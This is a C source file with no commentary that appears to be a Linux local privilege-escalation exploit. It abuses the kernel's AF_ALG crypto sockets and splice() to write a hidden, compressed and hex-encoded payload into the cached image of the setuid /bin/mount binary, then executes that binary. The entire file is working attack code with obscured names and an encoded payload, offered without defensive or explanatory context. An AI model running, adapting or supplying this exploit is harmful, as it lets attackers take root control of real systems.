1 #define _GNU_SOURCE 2 3 #include <sys/types.h> 4 #include <sys/socket.h> 5 #include <linux/if_alg.h> 6 #include <unistd.h> 7 #include <stdlib.h> 8 #include <string.h> 9 #include <stdint.h> 10 #include <stdio.h> 11 #include <fcntl.h> 12 #include <zlib.h> 13 14 static unsigned char *d(const char *hex, size_t *out_len) { 15 size_t len = strlen(hex); 16 unsigned char *out = malloc(len / 2); 17 18 for (size_t i = 0; i < len / 2; i++) { 19 sscanf(hex + (i * 2), "%2hhx", &out[i]); 20 } 21 22 if (out_len) { 23 *out_len = len / 2; 24 } 25 26 return out; 27 } 28 29 static int c(int f, size_t t, const unsigned char *c_buf, size_t c_len) { 30 int a = socket(AF_ALG, SOCK_SEQPACKET, 0); 31 if (a < 0) { 32 printf("socket failed\n"); 33 return -1; 34 } 35 36 struct sockaddr_alg sa = { 37 .salg_family = AF_ALG, 38 .salg_type = "aead", 39 .salg_name = "authencesn(hmac(sha256),cbc(aes))", 40 }; 41 42 if (bind(a, (struct sockaddr *)&sa, sizeof(sa)) < 0) { 43 close(a); 44 printf("bind failed\n"); 45 return -1; 46 } 47 48 int h = 279; 49 50 int (*v)(int, int, int, const void *, socklen_t) = setsockopt; 51 52 size_t opt1_len; 53 unsigned char *opt1 = d("0800010000000010" 54 "00000000000000000000000000000000" 55 "00000000000000000000000000000000", 56 &opt1_len); 57 58 if (v(a, h, 1, opt1, opt1_len) < 0) { 59 free(opt1); 60 close(a); 61 printf("setsockopt/1 failed\n"); 62 return -1; 63 } 64 free(opt1); 65 66 uint32_t zero = 0; 67 if (v(a, h, 5, &zero, sizeof(zero)) < 0) { 68 close(a); 69 printf("setsockopt/2 failed\n"); 70 return -1; 71 } 72 73 int u = accept(a, NULL, NULL); 74 if (u < 0) { 75 close(a); 76 printf("accept failed\n"); 77 return -1; 78 } 79 80 size_t o = t + 4; 81 82 size_t i_len; 83 unsigned char *i = d("00", &i_len); 84 85 unsigned char aad[4] = { 'A', 'A', 'A', 'A' }; 86 87 unsigned char *payload = malloc(4 + c_len); 88 memcpy(payload, "AAAA", 4); 89 memcpy(payload + 4, c_buf, c_len); 90 91 struct iovec iov[1] = { 92 { .iov_base = payload, .iov_len = 4 + c_len }, 93 }; 94 95 unsigned char op[4] = { 0, 0, 0, 0 }; 96 97 unsigned char iv[20] = { 98 0x10, 0x00, 0x00, 0x00, /* ivlen = 16 */ 99 0x00, 0x00, 0x00, 0x00, 100 0x00, 0x00, 0x00, 0x00, 101 0x00, 0x00, 0x00, 0x00, 102 0x00, 0x00, 0x00, 0x00 103 }; 104 105 unsigned char assoclen[4] = { 0x08, 0x00, 0x00, 0x00 }; 106 107 char control[ 108 CMSG_SPACE(sizeof(op)) + 109 CMSG_SPACE(sizeof(iv)) + 110 CMSG_SPACE(sizeof(assoclen)) 111 ]; 112 113 memset(control, 0, sizeof(control)); 114 115 struct msghdr msg = { 116 .msg_iov = iov, 117 .msg_iovlen = 1, 118 .msg_control = control, 119 .msg_controllen = sizeof(control), 120 }; 121 122 struct cmsghdr *cm; 123 124 cm = CMSG_FIRSTHDR(&msg); 125 cm->cmsg_level = h; 126 cm->cmsg_type = 3; 127 cm->cmsg_len = CMSG_LEN(sizeof(op)); 128 memcpy(CMSG_DATA(cm), op, sizeof(op)); 129 130 cm = CMSG_NXTHDR(&msg, cm); 131 cm->cmsg_level = h; 132 cm->cmsg_type = 2; 133 cm->cmsg_len = CMSG_LEN(sizeof(iv)); 134 memcpy(CMSG_DATA(cm), iv, sizeof(iv)); 135 136 cm = CMSG_NXTHDR(&msg, cm); 137 cm->cmsg_level = h; 138 cm->cmsg_type = 4; 139 cm->cmsg_len = CMSG_LEN(sizeof(assoclen)); 140 memcpy(CMSG_DATA(cm), assoclen, sizeof(assoclen)); 141 142 if (sendmsg(u, &msg, MSG_MORE) < 0) { 143 free(i); 144 close(u); 145 close(a); 146 printf("sendmsg failed\n"); 147 return -1; 148 } 149 150 int pipefd[2]; 151 152 if (pipe(pipefd) < 0) { 153 free(i); 154 close(u); 155 close(a); 156 printf("pipe failed\n"); 157 return -1; 158 } 159 160 int r = pipefd[0]; 161 int w = pipefd[1]; 162 163 loff_t off = 0; 164 if (splice(f, &off, w, NULL, o, 0) < 0) { 165 close(r); 166 close(w); 167 free(i); 168 close(u); 169 close(a); 170 printf("splice/1 failed\n"); 171 return -1; 172 } 173 174 if (splice(r, NULL, u, NULL, o, 0) < 0) { 175 perror("splice"); 176 close(r); 177 close(w); 178 free(i); 179 close(u); 180 close(a); 181 printf("splice/2 failed\n"); 182 return -1; 183 } 184 185 return(0); 186 } 187 188 int main(int argc, char **argv) { 189 int f = open("/bin/mount", O_RDONLY); 190 if (f < 0) { 191 return -1; 192 } 193 194 int i = 0; 195 196 size_t compressed_len; 197 unsigned char *compressed = d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b 7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3", &compressed_len); 198 199 unsigned long e_len = 200; 200 unsigned char *e = malloc(e_len); 201 202 if (uncompress(e, &e_len, compressed, compressed_len) != Z_OK) { 203 free(compressed); 204 free(e); 205 close(f); 206 printf("uncompress failed\n"); 207 return -1; 208 } 209 210 free(compressed); 211 212 while ((size_t)i < e_len) { 213 size_t chunk_len = e_len - (size_t)i; 214 215 if (chunk_len > 4) { 216 chunk_len = 4; 217 } 218 219 if (c(f, (size_t)i, e + i, chunk_len) < 0) { 220 free(e); 221 close(f); 222 printf("c failed\n"); 223 return -1; 224 } 225 226 i += 4; 227 } 228 229 system("/bin/mount"); 230 231 return(0); 232 } |